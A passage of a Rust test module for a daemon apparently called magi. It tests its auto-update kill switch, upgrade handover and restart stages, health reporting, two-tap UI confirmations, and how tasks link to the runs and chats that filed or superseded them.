13002            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
13003        }
13004        let killed = should_spawn_recheck(&crate::config::Update {
13005            mode: UpdateMode::Notify,
13006            interval: None,
13007        });
13008        unsafe {
13009            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
13010        }
13011        assert!(
13012            !killed,
13013            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
13014             one-time startup check"
13015        );
13016
13017        assert!(should_spawn_recheck(&crate::config::Update {
13018            mode: UpdateMode::Notify,
13019            interval: None,
13020        }));
13021    }
13022
13023    /// [`recheck_poll_period`] must track a configured `[update] interval`
13024    /// shorter than its own default ceiling - a fixed sleep here would leave
13025    /// an operator's short interval waiting on the next wake-up instead of on
13026    /// `should_check`, which is the same bug this whole task exists to fix,
13027    /// just one level down.
13028    #[test]
13029    fn recheck_poll_period_tracks_a_short_configured_interval() {
13030        let short = crate::config::Update {
13031            mode: UpdateMode::Notify,
13032            interval: Some("1m".to_owned()),
13033        };
13034        let period = recheck_poll_period(&short);
13035        assert!(
13036            period <= Duration::from_secs(30),
13037            "a one-minute interval must wake the task far sooner than the \
13038             default ceiling, or the deck would not notice within the \
13039             interval the operator configured: got {period:?}"
13040        );
13041
13042        let default = crate::config::Update {
13043            mode: UpdateMode::Notify,
13044            interval: None,
13045        };
13046        assert_eq!(
13047            recheck_poll_period(&default),
13048            UPDATE_RECHECK_POLL_MAX,
13049            "the default day-long interval should poll at the (capped) \
13050             ceiling rather than needlessly often"
13051        );
13052    }
13053
13054    /// [`update_recheck_due`] must not repeat a check made moments ago, the
13055    /// same throttle `updater::Checker::should_check` already gives the
13056    /// CLI's notify mode. Built over an explicit state file via
13057    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
13058    /// write the operator's real `last_update_check.json` - and therefore
13059    /// cannot flake on whatever that file happens to say on the machine
13060    /// running the test.
13061    #[test]
13062    fn recheck_skips_the_network_before_the_interval_elapses() {
13063        let dir = TempDir::new().expect("temp dir");
13064        let path = dir.path().join("state.json");
13065        let state = kaishin::UpdateCheckState {
13066            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
13067            last_known_latest: None,
13068            last_known_url: None,
13069        };
13070        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
13071
13072        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
13073        assert!(
13074            !update_recheck_due(&checker, None),
13075            "a check made moments ago must not be repeated before the \
13076             configured interval elapses"
13077        );
13078    }
13079
13080    /// An upgrade this deck already started must not be raced by a recheck
13081    /// that discovers a newer release mid-install - regardless of what
13082    /// `should_check` says, which is why the state file here is missing
13083    /// entirely: read alone, that alone would answer "never checked, go
13084    /// ahead".
13085    #[test]
13086    fn recheck_defers_to_an_upgrade_already_in_flight() {
13087        let dir = TempDir::new().expect("temp dir");
13088        let path = dir.path().join("state.json");
13089        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
13090        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
13091
13092        assert!(
13093            !update_recheck_due(&checker, Some(&progress)),
13094            "a recheck must not run while an upgrade this deck started is \
13095             still moving"
13096        );
13097    }
13098
13099    #[tokio::test]
13100    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
13101        // The same env var the background check honours (`disabled_by_env`)
13102        // must also stop a button press before it ever calls
13103        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
13104        // means "never contact GitHub from this process", and a tap on the
13105        // upgrade button must not override that any more than a broken
13106        // `magi.toml` may. Left unset, this fixture's default config would
13107        // otherwise reach a real, unauthenticated GitHub call.
13108        //
13109        // SAFETY: single-threaded as far as this variable goes - nothing else
13110        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
13111        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
13112        unsafe {
13113            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
13114        }
13115        let fx = Fixture::start().await;
13116        let res = fx.post("/api/upgrade", None).await;
13117        unsafe {
13118            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
13119        }
13120        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
13121        let body = res.json();
13122        assert!(body["to"].is_null(), "there was no release to move to");
13123        assert!(body["parked"].is_null(), "and nothing was parked");
13124        assert!(
13125            body["detail"]
13126                .as_str()
13127                .unwrap()
13128                .contains("disabled by MAGI_NO_AUTOUPDATE"),
13129            "{body:?}"
13130        );
13131    }
13132
13133    #[tokio::test]
13134    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
13135        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
13136        // and the route answers from its own logic.
13137        //
13138        // This test used to lean on the fixture's placeholder repo failing
13139        // config discovery, which left `mode = "notify"` - and a live,
13140        // unauthenticated call to the GitHub releases API inside a unit test.
13141        // GitHub allows 60 of those an hour per address, so the suite went red
13142        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
13143        // long as somebody kept re-running it: every attempt spent another
13144        // request. Six reruns across four pull requests were charged to that
13145        // before it was read as a rate limit rather than a flake.
13146        //
13147        // What the assertion is about is the "already current" branch, which
13148        // is reached by there being no newer release *or* nowhere to look. The
13149        // second one needs no network and cannot be rate limited.
13150        let repo = TempDir::new().expect("repo dir");
13151        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
13152            .expect("write magi.toml");
13153        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13154
13155        // It must answer 200 and leave the process alone: restarting for an
13156        // upgrade that did not happen parks the run in flight and drops every
13157        // connection to pay for nothing. A probe against a deck already on the
13158        // newest build did exactly that, which is how this case got its own
13159        // branch.
13160        let res = fx.post("/api/upgrade", None).await;
13161        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
13162        let body = res.json();
13163        assert!(body["to"].is_null(), "there was no release to move to");
13164        assert!(body["parked"].is_null(), "and nothing was parked");
13165        assert!(
13166            body["detail"]
13167                .as_str()
13168                .unwrap()
13169                .contains("nothing restarted"),
13170            "{body:?}"
13171        );
13172    }
13173
13174    #[tokio::test]
13175    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
13176        // `mode = "off"` for the same reason as the test above: a default
13177        // fixture repo falls back to `mode = "notify"`, which would make this
13178        // route's new `update` field a live, unauthenticated GitHub call on
13179        // every assertion in this suite that happens to hit `/api/health`.
13180        let repo = TempDir::new().expect("repo dir");
13181        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
13182            .expect("write magi.toml");
13183        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13184
13185        let health = fx.get("/api/health").await.json();
13186        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
13187        assert_eq!(
13188            health["update"]["available"], false,
13189            "checking is off, which reads as \"unknown\", not \"none\""
13190        );
13191        assert!(health["update"]["to"].is_null());
13192        assert!(
13193            health["upgrade"].is_null(),
13194            "nothing has ever asked this deck to upgrade"
13195        );
13196    }
13197
13198    #[tokio::test]
13199    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
13200        let fx = Fixture::start().await;
13201        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
13202
13203        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13204        progress.parked_run = Some("20260905-000000-cd51".to_owned());
13205        progress.advance(crate::updater::Stage::Parking);
13206        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
13207
13208        let health = fx.get("/api/health").await.json();
13209        assert_eq!(health["upgrade"]["stage"], "parking");
13210        assert_eq!(health["upgrade"]["from"], "0.5.1");
13211        assert_eq!(health["upgrade"]["to"], "0.5.2");
13212        let waiting_on = health["upgrade"]["waiting_on"]
13213            .as_str()
13214            .expect("waiting_on is set while parking a known run");
13215        assert!(waiting_on.contains("cd51"), "{waiting_on}");
13216        assert!(waiting_on.contains("implementing"), "{waiting_on}");
13217    }
13218
13219    #[tokio::test]
13220    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
13221        let fx = Fixture::start().await;
13222        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13223        progress.advance(crate::updater::Stage::Done);
13224        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
13225
13226        let health = fx.get("/api/health").await.json();
13227        assert_eq!(health["upgrade"]["stage"], "done");
13228        assert!(
13229            health["upgrade"]["waiting_on"].is_null(),
13230            "nothing to wait on once it is done"
13231        );
13232    }
13233
13234    #[tokio::test]
13235    async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
13236        let home = TempDir::new().expect("temp home");
13237        let runs = home.path().join("runs");
13238        std::fs::create_dir_all(&runs).expect("runs dir");
13239        let ui = Ui::new(
13240            Queue::at(home.path().join("queue")),
13241            Questions::at(home.path().join("questions")),
13242            Talks::at(home.path().join("talks")),
13243            runs,
13244            home.path().to_path_buf(),
13245            PathBuf::from("/repo/magi"),
13246        )
13247        .with_launch(launch_idle);
13248        let looping = ui.looping();
13249        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
13250            .await
13251            .expect("bind loopback");
13252        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
13253
13254        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13255        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
13256
13257        hand_over(home.path(), &looping, served, |_| Ok(1))
13258            .await
13259            .expect("hand over");
13260
13261        let after = crate::updater::read_progress(home.path()).expect("progress on disk");
13262        assert_eq!(
13263            after.stage,
13264            crate::updater::Stage::Restarting,
13265            "hand_over owns the record through parking and up to restarting; \
13266             the successor is what finishes it"
13267        );
13268    }
13269
13270    /// The successor is started exactly once on success, and exactly once on
13271    /// failure too (a failed start is reported, never retried).
13272    #[tokio::test]
13273    async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
13274        for fail in [false, true] {
13275            let home = TempDir::new().expect("temp home");
13276            let ui = idle_ui(&home);
13277            let looping = ui.looping();
13278            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
13279                .await
13280                .expect("bind loopback");
13281            let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
13282            let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13283            crate::updater::write_progress(home.path(), &progress).expect("seed progress");
13284
13285            let calls = std::sync::atomic::AtomicUsize::new(0);
13286            let outcome = hand_over(home.path(), &looping, served, |_| {
13287                calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
13288                if fail {
13289                    anyhow::bail!("no exec")
13290                } else {
13291                    Ok(4242)
13292                }
13293            })
13294            .await;
13295            assert_eq!(outcome.is_err(), fail);
13296            assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
13297
13298            let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
13299                .expect("upgrade.log is written under the home");
13300            for step in [
13301                "entered",
13302                "finish_loop",
13303                "listener released",
13304                "starting the successor",
13305            ] {
13306                assert!(log.contains(step), "missing `{step}` in:\n{log}");
13307            }
13308            assert!(
13309                log.contains(if fail { "did not start" } else { "pid 4242" }),
13310                "{log}"
13311            );
13312        }
13313    }
13314
13315    /// The handover signal is seen however the race falls, and wakes its one
13316    /// waiter once per signal - nothing here can spin.
13317    #[tokio::test]
13318    async fn the_handover_signal_wakes_one_waiter_once() {
13319        let signal = Notify::new();
13320        // Signalled before anyone waits: the stored permit is not lost.
13321        signal.notify_one();
13322        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
13323            .await
13324            .expect("an early signal is still seen");
13325        // One signal, one wake-up: a second wait does not resolve by itself.
13326        assert!(
13327            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
13328                .await
13329                .is_err(),
13330            "a consumed signal must not wake a second time"
13331        );
13332        // Signalled while waiting.
13333        let signal = std::sync::Arc::new(signal);
13334        let waiter = tokio::spawn({
13335            let signal = std::sync::Arc::clone(&signal);
13336            async move { wait_for_handover(&signal).await }
13337        });
13338        tokio::time::sleep(Duration::from_millis(20)).await;
13339        assert!(!waiter.is_finished(), "nothing was signalled yet");
13340        signal.notify_one();
13341        tokio::time::timeout(Duration::from_secs(5), waiter)
13342            .await
13343            .expect("a late signal wakes the waiter")
13344            .expect("join");
13345    }
13346
13347    #[tokio::test]
13348    async fn health_says_how_long_a_handover_has_been_stuck() {
13349        let fx = Fixture::start().await;
13350        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13351        progress.advance(crate::updater::Stage::Replaced);
13352        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
13353        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
13354
13355        let health = fx.get("/api/health").await.json();
13356        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
13357        assert!(stuck >= 600, "{stuck}");
13358        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
13359    }
13360
13361    fn idle_ui(home: &TempDir) -> Ui {
13362        let runs = home.path().join("runs");
13363        std::fs::create_dir_all(&runs).expect("runs dir");
13364        Ui::new(
13365            Queue::at(home.path().join("queue")),
13366            Questions::at(home.path().join("questions")),
13367            Talks::at(home.path().join("talks")),
13368            runs,
13369            home.path().to_path_buf(),
13370            PathBuf::from("/repo/magi"),
13371        )
13372        .with_launch(launch_idle)
13373    }
13374
13375    /// Run `hand_over` against `ui` and return what the successor was told.
13376    async fn handed_over(home: &TempDir, ui: Ui) -> bool {
13377        let looping = ui.looping();
13378        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
13379            .await
13380            .expect("bind loopback");
13381        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
13382        let told = std::sync::Mutex::new(None);
13383        hand_over(home.path(), &looping, served, |resume| {
13384            *told.lock().unwrap() = Some(resume);
13385            Ok(1)
13386        })
13387        .await
13388        .expect("hand over");
13389        told.into_inner().unwrap().expect("successor was started")
13390    }
13391
13392    #[tokio::test]
13393    async fn a_running_loop_is_resumed_by_the_successor() {
13394        let home = TempDir::new().expect("temp home");
13395        let ui = idle_ui(&home);
13396        ui.start_loop(None).expect("start");
13397        ui.park_for_upgrade().expect("park");
13398        // The idle loop sees the park and ends before the handover fires.
13399        for _ in 0..500 {
13400            if !ui.loop_view(None).running {
13401                break;
13402            }
13403            tokio::time::sleep(Duration::from_millis(2)).await;
13404        }
13405        assert!(handed_over(&home, ui).await, "a running loop must resume");
13406
13407        let successor = idle_ui(&home);
13408        assert!(!successor.loop_view(None).running);
13409        assert!(successor.resume_after_handover(true));
13410        assert!(successor.loop_view(None).running);
13411        successor.stop_loop(None, false).expect("stop");
13412    }
13413
13414    #[tokio::test]
13415    async fn a_second_upgrade_request_keeps_the_resume_intent() {
13416        let home = TempDir::new().expect("temp home");
13417        let ui = idle_ui(&home);
13418        ui.start_loop(None).expect("start");
13419        ui.park_for_upgrade().expect("first park");
13420        ui.park_for_upgrade().expect("second park");
13421        assert!(handed_over(&home, ui).await);
13422    }
13423
13424    #[tokio::test]
13425    async fn a_stop_during_the_handover_wait_is_honoured() {
13426        let home = TempDir::new().expect("temp home");
13427        let ui = idle_ui(&home);
13428        ui.start_loop(None).expect("start");
13429        ui.park_for_upgrade().expect("park");
13430        ui.stop_loop(None, false).expect("stop");
13431        assert!(!handed_over(&home, ui).await);
13432    }
13433
13434    #[tokio::test]
13435    async fn an_idle_loop_stays_stopped_across_the_handover() {
13436        let home = TempDir::new().expect("temp home");
13437        let ui = idle_ui(&home);
13438        ui.park_for_upgrade().expect("park");
13439        assert!(!handed_over(&home, ui).await);
13440
13441        let successor = idle_ui(&home);
13442        assert!(!successor.resume_after_handover(false));
13443        assert!(!successor.loop_view(None).running);
13444    }
13445
13446    #[tokio::test]
13447    async fn a_loop_the_operator_stopped_is_not_resumed() {
13448        let home = TempDir::new().expect("temp home");
13449        let ui = idle_ui(&home);
13450        ui.start_loop(None).expect("start");
13451        ui.stop_loop(None, false).expect("stop");
13452        ui.park_for_upgrade().expect("park");
13453        assert!(!handed_over(&home, ui).await);
13454    }
13455
13456    #[test]
13457    fn only_an_explicit_one_requests_a_resume() {
13458        assert!(!resume_requested(None));
13459        assert!(!resume_requested(Some("0".into())));
13460        assert!(!resume_requested(Some("".into())));
13461        assert!(resume_requested(Some("1".into())));
13462    }
13463
13464    #[test]
13465    fn the_upgrade_button_arms_before_it_restarts_anything() {
13466        // It ends the process the operator is talking to, and a phone in a
13467        // pocket taps things. One tap arms, the second commits.
13468        assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
13469        assert!(APP_JS.contains("Replace the binary and restart?"));
13470        assert!(APP_JS.contains("function confirmed("));
13471        // Hidden when the loop is somebody else's, matching the 409 above -
13472        // and hidden with nothing to install, matching the 200 "already
13473        // current" branch: an operator on the newest build must not be
13474        // offered a restart that would only park a run for nothing.
13475        assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
13476        // A park waits for the node in flight, up to an hour for an implement
13477        // wave. Leaving the button reading "Upgrading…" for that long is the
13478        // same mistake as an error rendered off screen: it looks wedged.
13479        assert!(
13480            APP_JS.contains("Parking, then restarting"),
13481            "the button says what it is waiting for"
13482        );
13483        // And nothing to install must give the button back rather than
13484        // pretending a restart is coming.
13485        assert!(APP_JS.contains("if (!out.to)"));
13486    }
13487
13488    #[test]
13489    fn stopping_the_loop_arms_but_starting_does_not() {
13490        // A stray tap must not leave the queue stopped overnight, so a stop is
13491        // two taps through the same helper the upgrade uses; a start stays one.
13492        assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
13493        assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
13494        assert!(APP_JS.contains("confirmed(button, question)"));
13495        // The label put back on timeout is the one saved when arming, not a
13496        // hard-coded upgrade caption that would rename the stop button.
13497        assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n    }\n  }, 6000)"));
13498        assert!(APP_JS.contains("const label = btn.textContent;"));
13499        assert!(!APP_JS.contains("Neither direction is guarded"));
13500    }
13501
13502    #[test]
13503    fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
13504        assert!(
13505            APP_JS.contains("state.health.version"),
13506            "the operator wants to know what is running even with nothing newer"
13507        );
13508        assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
13509    }
13510
13511    #[test]
13512    fn the_upgrade_button_names_its_destination() {
13513        assert!(
13514            APP_JS.contains("`Update to ${update.to}`"),
13515            "pressing the button should not be a surprise about what it moves to"
13516        );
13517    }
13518
13519    #[test]
13520    fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
13521        for stage in ["downloading", "replaced", "parking", "restarting"] {
13522            assert!(
13523                APP_JS.contains(&format!("\"{stage}\"")),
13524                "the phone must be able to tell {stage} apart from the others"
13525            );
13526        }
13527        assert!(APP_JS.contains(".waiting_on"));
13528        // What replaced the bare "Cannot reach magi: Failed to fetch": a
13529        // fetch failing while an upgrade is in flight is not an error, it is
13530        // the sub-second gap `bind_waiting` covers, and it must not be
13531        // reported as one.
13532        assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
13533        assert!(APP_JS.contains("reconnects on its own"));
13534    }
13535
13536    #[test]
13537    fn a_failed_upgrade_does_not_lock_the_loop_controls() {
13538        // `Stage::Failed` is terminal on the server and nothing clears it on
13539        // its own - not a fresh start, not time passing - so a full-strip
13540        // takeover for it (the way the busy stages take the strip over,
13541        // correctly, because those are transient) would have hidden
13542        // start/stop/park behind an upgrade notice with no way back short of
13543        // a person editing `upgrade.json` by hand or a later release
13544        // happening to succeed. The failure must instead ride along as a note
13545        // next to whatever control the loop's own state already offers.
13546        let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
13547            ..APP_JS.find("function upgrade(").expect("upgrade")];
13548        assert!(
13549            !body.contains(
13550                "upgradeStage === \"failed\") {\n    setAttr(box, \"data-state\", \"failed\")"
13551            ),
13552            "a failed upgrade must not take the whole strip over the way it used to"
13553        );
13554        assert!(
13555            body.contains("upgradeFailNote"),
13556            "the failure has to reach the loop's own note instead"
13557        );
13558        // `quiet` and `control` are the only two places `loop-why` is set from
13559        // this function's own state; both must carry the note through, or a
13560        // future edit to either one would silently drop it again.
13561        assert_eq!(
13562            body.matches("upgradeFailNote].filter(Boolean).join")
13563                .count(),
13564            2,
13565            "both loop-why writers (quiet and control) must fold the note in"
13566        );
13567    }
13568
13569    #[test]
13570    fn an_overdue_upgrade_eventually_asks_for_a_human() {
13571        // The ceiling has to clear a full hour-long park with room to spare,
13572        // or an ordinary implement wave would be reported as a stuck upgrade.
13573        assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
13574        assert!(APP_JS.contains("function upgradeOverdue("));
13575    }
13576
13577    #[test]
13578    fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
13579        assert!(
13580            APP_JS.contains("Updated to ${upgradeInfo.to"),
13581            "the operator who asked for the restart wants to know it worked"
13582        );
13583    }
13584
13585    #[test]
13586    fn an_error_is_visible_from_where_the_button_is() {
13587        // The alert used to sit in the flow under the header. On a phone
13588        // scrolled 13 500 px down to a run's action sheet that is off screen,
13589        // so tapping Resume and being told "the loop is running run b455
13590        // right now" looked exactly like a button that did nothing.
13591        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
13592            ..APP_CSS.find(".alert-text").expect(".alert-text")];
13593        assert!(
13594            alert.contains("position: fixed"),
13595            "an error about the thing under your thumb has to be visible from \
13596             where your thumb is: {alert}"
13597        );
13598        assert!(
13599            alert.contains("z-index: 25"),
13600            "above the dock (20) and the run-actions FAB (15), so neither \
13601             buries it: {alert}"
13602        );
13603        assert!(
13604            alert.contains("var(--tap)"),
13605            "and clear of the dock and the home indicator: {alert}"
13606        );
13607        // The FAB sits at the same height on the right. An error that covered
13608        // it would hide the button the operator reaches for next.
13609        assert!(
13610            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
13611            "the FAB's column stays free: {alert}"
13612        );
13613    }
13614
13615    #[tokio::test]
13616    async fn an_older_attempt_says_what_replaced_it() {
13617        let fx = Fixture::start().await;
13618        let q = fx.queue();
13619        let runs = fx.runs();
13620        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
13621        write_run(&runs, first, RunStatus::Stalled);
13622        write_run(&runs, second, RunStatus::Blocked);
13623
13624        let mut t = Task::new(
13625            "one task".to_owned(),
13626            "do it".to_owned(),
13627            PathBuf::from("/repo"),
13628            Source::Human,
13629        );
13630        t.runs = vec![first.to_owned(), second.to_owned()];
13631        q.put(&mut t).expect("put");
13632
13633        // Two cards with the same title and no hint which is which was the
13634        // question: "why are there two of the same, one stalled and one
13635        // blocked?" The older one now names its replacement.
13636        let rows = fx.get("/api/runs").await.json();
13637        let by = |short: &str| -> Value {
13638            rows.as_array()
13639                .unwrap()
13640                .iter()
13641                .find(|r| r["short"] == short)
13642                .cloned()
13643                .unwrap_or(Value::Null)
13644        };
13645        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
13646        assert!(
13647            by("bbbb")["superseded_by"].is_null(),
13648            "the latest attempt is not superseded by anything"
13649        );
13650        // Front end: the note has to be rendered, not just carried.
13651        assert!(APP_JS.contains("run.superseded_by"));
13652        assert!(APP_JS.contains("Superseded by"));
13653    }
13654
13655    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
13656        let mut t = Task::new(
13657            "one task".to_owned(),
13658            "do it".to_owned(),
13659            PathBuf::from("/repo"),
13660            Source::Human,
13661        );
13662        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
13663        t.status = status;
13664        t
13665    }
13666
13667    #[test]
13668    fn source_link_picks_the_page_that_filed_the_task() {
13669        let agent = |node: &str| Source::Agent {
13670            run: "20260904-014455-ab12".to_owned(),
13671            node: node.to_owned(),
13672        };
13673        let chat = source_link(&agent("chat")).expect("chat link");
13674        assert_eq!(chat.kind, "chat");
13675        assert_eq!(chat.id, "20260904-014455-ab12");
13676        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
13677        let run = source_link(&agent("implement")).expect("run link");
13678        assert_eq!(
13679            (run.kind, run.href.as_str()),
13680            ("run", "#/runs/20260904-014455-ab12")
13681        );
13682        assert_eq!(source_link(&Source::Human), None);
13683        assert_eq!(
13684            source_link(&Source::Issue {
13685                number: 3,
13686                repo: "o/r".to_owned()
13687            }),
13688            None
13689        );
13690        let odd = source_link(&Source::Agent {
13691            run: "a b/c".to_owned(),
13692            node: "chat".to_owned(),
13693        })
13694        .expect("link");
13695        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
13696    }
13697
13698    #[test]
13699    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
13700        assert!(
13701            !APP_JS.contains("src.node === \"chat\""),
13702            "inline href rule is back"
13703        );
13704        assert!(
13705            APP_JS.matches("sourceLinkOf(").count() >= 4,
13706            "helper must serve every page"
13707        );
13708        assert!(
13709            APP_JS.matches("openChatLink(").count() >= 3,
13710            "the run page still needs its explicit chat link"
13711        );
13712        assert!(
13713            !APP_JS.contains("const openChat = el("),
13714            "the Queue card duplicates its source label link again"
13715        );
13716        assert!(
13717            APP_JS.contains("metaKids.push(link ? el(\"a\""),
13718            "the task page must link a chat source label too"
13719        );
13720    }
13721
13722    #[test]
13723    fn task_ref_carries_the_source_link_for_a_chat_task() {
13724        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
13725        t.source = Source::Agent {
13726            run: "20260904-014455-ab12".to_owned(),
13727            node: "chat".to_owned(),
13728        };
13729        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
13730        let v = serde_json::to_value(&out).expect("json");
13731        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
13732        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
13733        assert_eq!(v["source_label"], t.source.label());
13734
13735        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
13736        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
13737            .expect("json");
13738        assert!(v["source_link"].is_null(), "{v}");
13739    }
13740
13741    #[test]
13742    fn task_view_serializes_source_link() {
13743        let mut t = Task::new(
13744            "t".to_owned(),
13745            "t".to_owned(),
13746            PathBuf::from("/repo"),
13747            Source::Agent {
13748                run: "20260901-000000-aaaa".to_owned(),
13749                node: "implement".to_owned(),
13750            },
13751        );
13752        t.runs.clear();
13753        let v = serde_json::to_value(TaskView::from(t)).expect("json");
13754        assert_eq!(v["source_link"]["kind"], "run", "{v}");
13755        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
13756    }
13757
13758    #[tokio::test]
13759    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
13760        let fx = Fixture::start().await;
13761        let runs = fx.runs();
13762        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
13763        write_run(&runs, old, RunStatus::Blocked);
13764        write_run(&runs, new, RunStatus::Merged);
13765        let mut t = outcome_task(&[old, new], TaskStatus::Done);
13766        fx.queue().put(&mut t).expect("put");
13767
13768        let view = fx.get(&format!("/api/runs/{old}")).await.json();
13769        let task = &view["task"];
13770        assert_eq!(task["status"], "done");
13771        assert_eq!(task["is_latest"], false);
13772        assert_eq!(task["latest"]["short"], "bbbb");
13773        assert_eq!(task["finished_by"]["id"], new);
13774        assert_eq!(task["finished_by"]["outcome"], "merged");
13775        assert_eq!(task["closed_by_hand"], false);
13776        assert_eq!(view["status"], "blocked", "the run keeps its own status");
13777        assert!(APP_JS.contains("finished_by"));
13778        assert!(APP_JS.contains("superseded by run"));
13779    }
13780
13781    #[tokio::test]
13782    async fn the_latest_run_reports_a_held_task_without_a_successor() {
13783        let fx = Fixture::start().await;
13784        let runs = fx.runs();
13785        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
13786        write_run(&runs, old, RunStatus::Stalled);
13787        write_run(&runs, new, RunStatus::Blocked);
13788        let mut t = outcome_task(&[old, new], TaskStatus::Held);
13789        fx.queue().put(&mut t).expect("put");
13790
13791        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
13792        assert_eq!(task["status"], "held");
13793        assert_eq!(task["is_latest"], true);
13794        assert!(task["latest"].is_null());
13795        assert!(task["finished_by"].is_null());
13796        assert_eq!(task["closed_by_hand"], false);
13797    }
13798
13799    #[tokio::test]
13800    async fn a_direct_run_has_no_task_outcome() {
13801        let fx = Fixture::start().await;
13802        let runs = fx.runs();
13803        let id = "20260901-000000-aaaa";
13804        write_run(&runs, id, RunStatus::Blocked);
13805        let view = fx.get(&format!("/api/runs/{id}")).await.json();
13806        assert!(view["task"].is_null());
13807    }
13808
13809    #[test]
13810    fn task_outcome_does_not_guess_a_finishing_run() {
13811        let a = "20260901-000000-aaaa";
13812        let b = "20260901-000000-bbbb";
13813        let c = "20260901-000000-cccc";
13814        let dir = tempfile::tempdir().expect("tempdir");
13815        write_run(dir.path(), a, RunStatus::Blocked);
13816        write_run(dir.path(), b, RunStatus::VerifiedNoop);
13817        // `c` has no record: unreadable.
13818        let read = |id: &str| read_run(dir.path(), id).ok();
13819        // Neither a blocked run nor a no-op finished the task; the newest run is
13820        // unreadable and still named.
13821        let t = outcome_task(&[a, b, c], TaskStatus::Done);
13822        let out = task_outcome(&t, a, 3, read);
13823        assert!(out.finished_by.is_none());
13824        assert!(out.closed_by_hand);
13825        let latest = out.latest.expect("latest");
13826        assert_eq!(latest.id, c);
13827        assert_eq!(latest.status, None);
13828        assert_eq!(latest.outcome, "record unreadable");
13829
